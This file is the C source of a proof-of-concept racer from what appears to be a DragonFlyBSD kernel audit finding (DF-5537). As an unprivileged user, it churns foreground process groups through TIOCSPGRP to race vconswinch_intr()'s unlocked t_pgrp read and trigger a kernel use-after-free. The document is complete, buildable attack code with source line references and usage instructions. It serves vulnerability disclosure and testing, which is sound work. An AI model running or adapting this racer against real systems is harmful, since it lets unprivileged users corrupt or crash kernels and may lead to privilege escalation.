โฌข DragonFlyBSD Kernel Audit
DF-5537 / vkwinch_race.c
โ† back to finding โ†“ download raw
/*
 * DF-5537 โ€” in-vkernel foreground-pgrp churn racer, v3 (UNPRIVILEGED).
 *
 * Bug under test: sys/platform/vkernel64/platform/console.c:272-289
 * vconswinch_intr() reads tp->t_pgrp and pgsignal()s it WITHOUT holding
 * tp->t_token, while ttioctl(TIOCSPGRP) (sys/kern/tty.c:1205-1233) and
 * ttyclearsession() (sys/kern/tty.c:283-292) swap tp->t_pgrp under the
 * token and pgrel() the old pgrp -> kfree(M_PGRP) at refcount 0
 * (sys/kern/kern_proc.c:657-693).
 *
 * One parent + one child.  The parent owns the tty session (setsid +
 * TIOCSCTTY on /dev/ttyv0) and drops ALL privileges (uid/gid 9) before
 * churning.  The child cycles:
 *
 *     setpgid(0,0)      -> create fresh pgrp P (pgid = child pid,
 *                          re-created every cycle after being emptied)
 *     write P to parent -> parent installs P (TIOCSPGRP(&pg)) as the
 *                          foreground pgrp; the swap pgrel()s the
 *                          previously installed pgrp -> kfree(M_PGRP)
 *                          when it has no members left
 *     read ack
 *     setpgid(0, park)  -> leave P; P is now empty and held only by the
 *                          tty reference until the next install frees it
 *
 * isctty() (sys/sys/tty.h:216-218) needs only same-session + P_CONTROLT
 * โ€” no privilege โ€” so the entire churn runs as uid 9.
 *
 * build: cc -static -O2 -o vkwinch vkwinch_race.c
 * usage: vkwinch <seconds>
 */
#include <sys/ioctl.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>

static int ttyfd;
static volatile unsigned long sigwinch_count;

static void
count_winch(int sig __unused)
{
	sigwinch_count++;
}

int
main(int argc, char **argv)
{
	int secs = argc > 1 ? atoi(argv[1]) : 120;
	int p2a[2], a2p[2];
	pid_t park, pid;
	time_t end;
	unsigned long cycles = 0, installs = 0, errors = 0;
	int lasterr = 0, lastwerr = 0, lastrerr = 0;
	char ack;

	if (pipe(p2a) < 0 || pipe(a2p) < 0) {
		perror("pipe");
		return 1;
	}

	signal(SIGWINCH, SIG_IGN);
	/*
	 * ttioctl() (sys/kern/tty.c:885-896) returns EIO for background
	 * ioctls from an orphaned pgrp (pg_jobc == 0) unless SIGTTOU is
	 * ignored/blocked -- the installer parks outside the fg pgrp, so
	 * it must ignore SIGTTOU or every TIOCSPGRP after the first fails.
	 */
	signal(SIGTTOU, SIG_IGN);
	signal(SIGTTIN, SIG_IGN);

	ttyfd = open("/dev/ttyv0", O_RDWR);
	if (ttyfd < 0) {
		perror("open /dev/ttyv0");
		return 1;
	}
	if (setsid() < 0) {
		dprintf(ttyfd, "[race] setsid: %s\n", strerror(errno));
		return 1;
	}
	if (ioctl(ttyfd, TIOCSCTTY, 0) < 0) {
		dprintf(ttyfd, "[race] TIOCSCTTY: %s\n", strerror(errno));
		return 1;
	}
	park = getpgrp();

	/* Drop ALL privileges: the churn requires none. */
	if (setgid(9) < 0 || setuid(9) < 0) {
		dprintf(ttyfd, "[race] setuid: %s\n", strerror(errno));
		return 1;
	}

	dprintf(ttyfd, "[race] uid=%d euid=%d park=%d secs=%d start\n",
		getuid(), geteuid(), park, secs);
	fsync(ttyfd);

	pid = fork();
	if (pid == 0) {
		/* child: pgrp factory (foreground member -> receives the
		 * SIGWINCHs that vconswinch_intr's racy pgsignal posts) */
		unsigned long cyc = 0, err = 0;

		signal(SIGWINCH, count_winch);
		int lwerr = 0, lrerr = 0;
		close(p2a[0]);
		close(a2p[1]);
		end = time(NULL) + secs;
		while (time(NULL) < end) {
			pid_t pg;
			if (setpgid(0, 0) < 0) {
				lwerr = errno;
				err++;
				usleep(200);
				continue;
			}
			pg = getpgrp();
			if (write(p2a[1], &pg, sizeof(pg)) != (int)sizeof(pg)) {
				lwerr = errno;
				err++;
				break;
			}
			if (read(a2p[0], &ack, 1) != 1) {
				lrerr = errno;
				err++;
				break;
			}
			if (setpgid(0, park) < 0) {
				lwerr = errno;
				err++;
			}
			cyc++;
		}
		dprintf(ttyfd,
		    "[race child] done: cycles=%lu errors=%lu sigwinch=%lu "
		    "(setpgid/write err=%d(%s) ack-read err=%d(%s))\n",
		    cyc, err, sigwinch_count, lwerr,
		    lwerr ? strerror(lwerr) : "-", lrerr,
		    lrerr ? strerror(lrerr) : "-");
		_exit(0);
	}
	close(p2a[1]);
	close(a2p[0]);

	/* parent: installer */
	end = time(NULL) + secs;
	while (time(NULL) < end) {
		pid_t pg;
		ssize_t n = read(p2a[0], &pg, sizeof(pg));
		if (n != (int)sizeof(pg)) {
			lastrerr = errno;
			errors++;
			break;
		}
		if (ioctl(ttyfd, TIOCSPGRP, &pg) < 0) {
			if (lasterr == 0)
				dprintf(ttyfd, "[race parent] FIRST spgrp FAIL "
				    "pg=%d err=%d(%s)\n", pg, errno,
				    strerror(errno));
			lasterr = errno;
			errors++;
		} else {
			installs++;
		}
		ack = 1;
		if (write(a2p[1], &ack, 1) != 1) {
			lastwerr = errno;
			errors++;
			break;
		}
		cycles++;
		if ((installs % 500000) == 1 && installs > 1)
			dprintf(ttyfd, "[race parent] %lu installs\n",
			    installs);
		if ((errors % 500000) == 1 && errors > 1)
			dprintf(ttyfd, "[race parent] %lu errors last=%d\n",
			    errors, lasterr);
	}

	waitpid(pid, NULL, 0);
	dprintf(ttyfd,
	    "[race] SUMMARY rounds=%lu installs=%lu errors=%lu "
	    "(spgrp err=%d(%s) ack-write err=%d(%s) pgid-read err=%d(%s)) END\n",
	    cycles, installs, errors,
	    lasterr, lasterr ? strerror(lasterr) : "-",
	    lastwerr, lastwerr ? strerror(lastwerr) : "-",
	    lastrerr, lastrerr ? strerror(lastrerr) : "-");
	fsync(ttyfd);
	sleep(1);
	return 0;
}